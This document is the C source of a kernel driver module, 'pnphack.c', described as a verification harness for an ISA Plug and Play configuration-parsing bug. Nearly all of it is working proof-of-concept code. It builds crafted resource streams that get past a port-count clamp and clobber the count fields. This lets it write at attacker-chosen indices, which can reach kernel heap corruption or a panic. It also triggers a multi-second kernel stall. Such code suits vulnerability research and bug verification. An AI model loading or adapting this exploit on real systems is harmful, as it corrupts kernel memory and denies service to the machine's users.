/* * pnphack.c — pass-2 verification harness for the ISA PnP config-count * poisoning chain (sys/bus/isa/isa_common.c / pnp.c / pnpparse.c). * * Loads as a driver on the isa bus. isa_driver_added() (isa_common.c:816) * invokes our identify routine with the bus already attached (isa_running=1), * which: * * 1. child_p51: isa child claiming SB16 PnP ids (vendor 0x26008c0e, * logical 0x21008c0e) + pnp_parse_resources() fed a crafted stream of * 17 IO_RANGE tags. Each tag writes 1 port descriptor and * pnp_check_quirks() appends 2 more (PNP_QUIRK_EXTRA_IO 0x400/0x800), * so ic_nport walks 0 -> 51, skipping pnpparse.c's * `ic_nport == ISA_NPORT' clamp (== 50 never true). Stored config * keeps ic_nport = 51 > ISA_NPORT: clamp defeated, poisoned config * persisted by isa_add_config() with no validation. * * 2. child_p61: an 18th IO_RANGE tag writes ic_port[51], which aliases * ic_nmem/ic_nport/ic_nirq/ic_ndrq (offset 944..959 of struct * isa_config). ir_end (= attacker endbase) lands in ic_nport; the * following ++ and quirk appends then write ic_port[] at attacker * chosen indices (POISON_V, POISON_V+1, ... + EXTRA_TAGS more). * Run-A keeps all indices inside the 8640-byte configs[] allocation * (safe, provable by dump). Run-B (POISON_V=0x4000) writes ~256KB * past it -> kernel heap corruption / panic. * * 3. child_stall + child_block: single 4MB MEMORY32_RANGE window fully * covered by a resource held by child_block -> isa_find_memory() * iterates every candidate at align=1 (unbounded candidate loop, * isa_common.c:128-148) -> measurable multi-second kernel stall. * * After identify returns, isa_driver_added()'s real child loop runs * isa_assign_resources() on each child (the isa_common.c consumer path). */ #include #include #include #include #include #include #include #include #include #include #include #include #ifndef POISON_V #define POISON_V 60 /* post-clobber ic_nport becomes POISON_V+1 */ #endif #ifndef EXTRA_TAGS #define EXTRA_TAGS 4 /* sequential attacker writes after clobber */ #endif #define SB16_VENDOR 0x26008c0e #define SB16_LOGICAL 0x21008c0e #define STALL_BASE 0xE0000000u #define STALL_LEN 0x00400000u /* 4MB window, align=1 -> 4M iterations */ static struct timeval t_ident; /* * Crafted PnP resource byte stream. */ static u_char stream[16384]; static int stream_len; static void put8(u_char v) { stream[stream_len++] = v; } static void put16(u_int v) { put8(v & 0xff); put8((v >> 8) & 0xff); } static void put32(u_int32_t v) { put8(v & 0xff); put8((v >> 8) & 0xff); put8((v >> 16) & 0xff); put8((v >> 24) & 0xff); } /* small tag 0x8 (IO_RANGE), 7 bytes: info, minbase16, rangebase16, align, size */ static void put_io_range(u_int base, u_int endbase, u_int align, u_int size) { put8(0x47); /* (8 << 3) | 7 */ put8(0x01); /* 16-bit decode */ put16(base); /* res[1..2] -> ir_start */ put16(endbase); /* res[3..4] -> ir_end = endbase + size - 1 */ put8(align); /* res[5] -> ir_align */ put8(size); /* res[6] -> ir_size */ } /* large tag 5 (MEMORY32_RANGE), 17 bytes */ static void put_mem32(u_int32_t base, u_int32_t endbase, u_int32_t align, u_int32_t size) { put8(0x85); /* (1 << 7) | 5 */ put16(17); put8(0); /* res[0] info */ put32(base); /* res[1..4] -> ir_start */ put32(endbase); /* res[5..8] -> ir_end = endbase + size - 1 */ put32(align); /* res[9..12] -> ir_align */ put32(size); /* res[13..16]-> ir_size */ } static void put_end(void) { put8(0x78); /* small tag 0xf (END), len 0 */ } static void dump_configs(const char *tag, device_t child) { struct isa_device *idev = device_get_ivars(child); struct isa_config_entry *ice; int n = 0; TAILQ_FOREACH(ice, &idev->id_configs, ice_link) { kprintf("PNPHACK[%s]: ice[%d] prio=%d nmem=%d nport=%d " "nirq=%d ndrq=%d\n", tag, n, ice->ice_priority, ice->ice_config.ic_nmem, ice->ice_config.ic_nport, ice->ice_config.ic_nirq, ice->ice_config.ic_ndrq); if (n == 0) { struct isa_config *c = &ice->ice_config; int i; for (i = 47; i < 64 && i < c->ic_nport + 4; i++) kprintf("PNPHACK[%s]: ic_port[%d] " "start=%#x end=%#x size=%#x align=%#x\n", tag, i, c->ic_port[i].ir_start, c->ic_port[i].ir_end, c->ic_port[i].ir_size, c->ic_port[i].ir_align); kprintf("PNPHACK[%s]: ISA_NPORT=%d ISA_NMEM=%d " "(ic_port[51] aliases the count fields)\n", tag, ISA_NPORT, ISA_NMEM); } n++; } if (n == 0) kprintf("PNPHACK[%s]: no configs stored\n", tag); } static void pnphack_config_cb(void *arg, struct isa_config *config, int enable) { struct timeval tv; getmicrotime(&tv); kprintf("PNPHACK: config_cb(%s) enable=%d nmem=%d nport=%d nirq=%d " "ndrq=%d t=%ld.%06ld (+%lld usec since identify)\n", (const char *)arg, enable, config->ic_nmem, config->ic_nport, config->ic_nirq, config->ic_ndrq, (long)tv.tv_sec, (long)tv.tv_usec, (long long)(1000000LL * (tv.tv_sec - t_ident.tv_sec) + (tv.tv_usec - t_ident.tv_usec))); } static void add_pnp_child(device_t parent, const char *tag, int variant) { device_t child; int i; child = BUS_ADD_CHILD(parent, parent, ISA_ORDER_PNP, NULL, -1); if (child == NULL) { kprintf("PNPHACK[%s]: BUS_ADD_CHILD failed\n", tag); return; } BUS_WRITE_IVAR(parent, child, ISA_IVAR_VENDORID, SB16_VENDOR); BUS_WRITE_IVAR(parent, child, ISA_IVAR_LOGICALID, SB16_LOGICAL); ISA_SET_CONFIG_CALLBACK(parent, child, pnphack_config_cb, __DECONST(char *, tag)); stream_len = 0; /* * 17 IO_RANGE tags: ic_nport 0 -> 51 (1 + 2 quirk appends each), * index 50 == ISA_NPORT never observed by the `==' clamp. */ for (i = 0; i < 17; i++) put_io_range(0x200, 0x200, 1, 8); if (variant >= 1) { /* * 18th tag writes ic_port[51]: ir_start -> ic_nmem, * ir_end (= endbase) -> ic_nport, then ir_size/ir_align are * written through the *clobbered* ic_nport at ic_port[POISON_V], * and the quirk appends write ic_port[POISON_V+1/+2]. */ put_io_range(0x300, POISON_V, 1, 1); for (i = 0; i < EXTRA_TAGS; i++) put_io_range(0x220 + i * 0x10, 0x220 + i * 0x10, 1, 8); } put_end(); kprintf("PNPHACK[%s]: crafted stream %d bytes, parsing " "(POISON_V=%#x EXTRA_TAGS=%d)...\n", tag, stream_len, POISON_V, EXTRA_TAGS); pnp_parse_resources(child, stream, stream_len, 0); kprintf("PNPHACK[%s]: parse done\n", tag); dump_configs(tag, child); } static void add_stall_children(device_t parent) { device_t stall, block; struct resource *r; int rid; stall = BUS_ADD_CHILD(parent, parent, ISA_ORDER_PNP, NULL, -1); if (stall == NULL) { kprintf("PNPHACK[stall]: BUS_ADD_CHILD failed\n"); return; } ISA_SET_CONFIG_CALLBACK(parent, stall, pnphack_config_cb, __DECONST(char *, "stall")); stream_len = 0; /* one 4MB memory window, size=1, align=1 */ put_mem32(STALL_BASE, STALL_BASE + STALL_LEN - 1, 1, 1); put_end(); pnp_parse_resources(stall, stream, stream_len, 0); dump_configs("stall", stall); /* blocker child created LAST: holds the whole window claimed */ block = BUS_ADD_CHILD(parent, parent, ISA_ORDER_PNP, NULL, -1); if (block == NULL) { kprintf("PNPHACK[block]: BUS_ADD_CHILD failed\n"); return; } rid = 0; BUS_SET_RESOURCE(parent, block, SYS_RES_MEMORY, 0, STALL_BASE, STALL_LEN, -1); r = BUS_ALLOC_RESOURCE(parent, block, SYS_RES_MEMORY, &rid, 0, ~0, 1, 0 /* !RF_ACTIVE */, -1); kprintf("PNPHACK[block]: window [%#x-%#x] held: %s\n", STALL_BASE, STALL_BASE + STALL_LEN - 1, r ? "YES" : "NO"); } static void pnphack_identify(driver_t *driver, device_t parent) { if (device_get_unit(parent) != 0) return; getmicrotime(&t_ident); kprintf("PNPHACK: identify on %s%d (state=%d)\n", device_get_name(parent), device_get_unit(parent), device_get_state(parent)); add_pnp_child(parent, "p51", 0); /* == clamp defeated, nport=51 */ add_pnp_child(parent, "p61", 1); /* count fields clobbered */ add_stall_children(parent); kprintf("PNPHACK: identify done; isa_driver_added will now run " "isa_assign_resources() on the children\n"); } static int pnphack_probe(device_t dev) { kprintf("PNPHACK: probe\n"); return ENXIO; } static device_method_t pnphack_methods[] = { DEVMETHOD(device_identify, pnphack_identify), DEVMETHOD(device_probe, pnphack_probe), DEVMETHOD_END }; static driver_t pnphack_driver = { "pnphack", pnphack_methods, 1, /* no softc */ }; static devclass_t pnphack_devclass; DRIVER_MODULE(pnphack, isa, pnphack_driver, pnphack_devclass, NULL, NULL);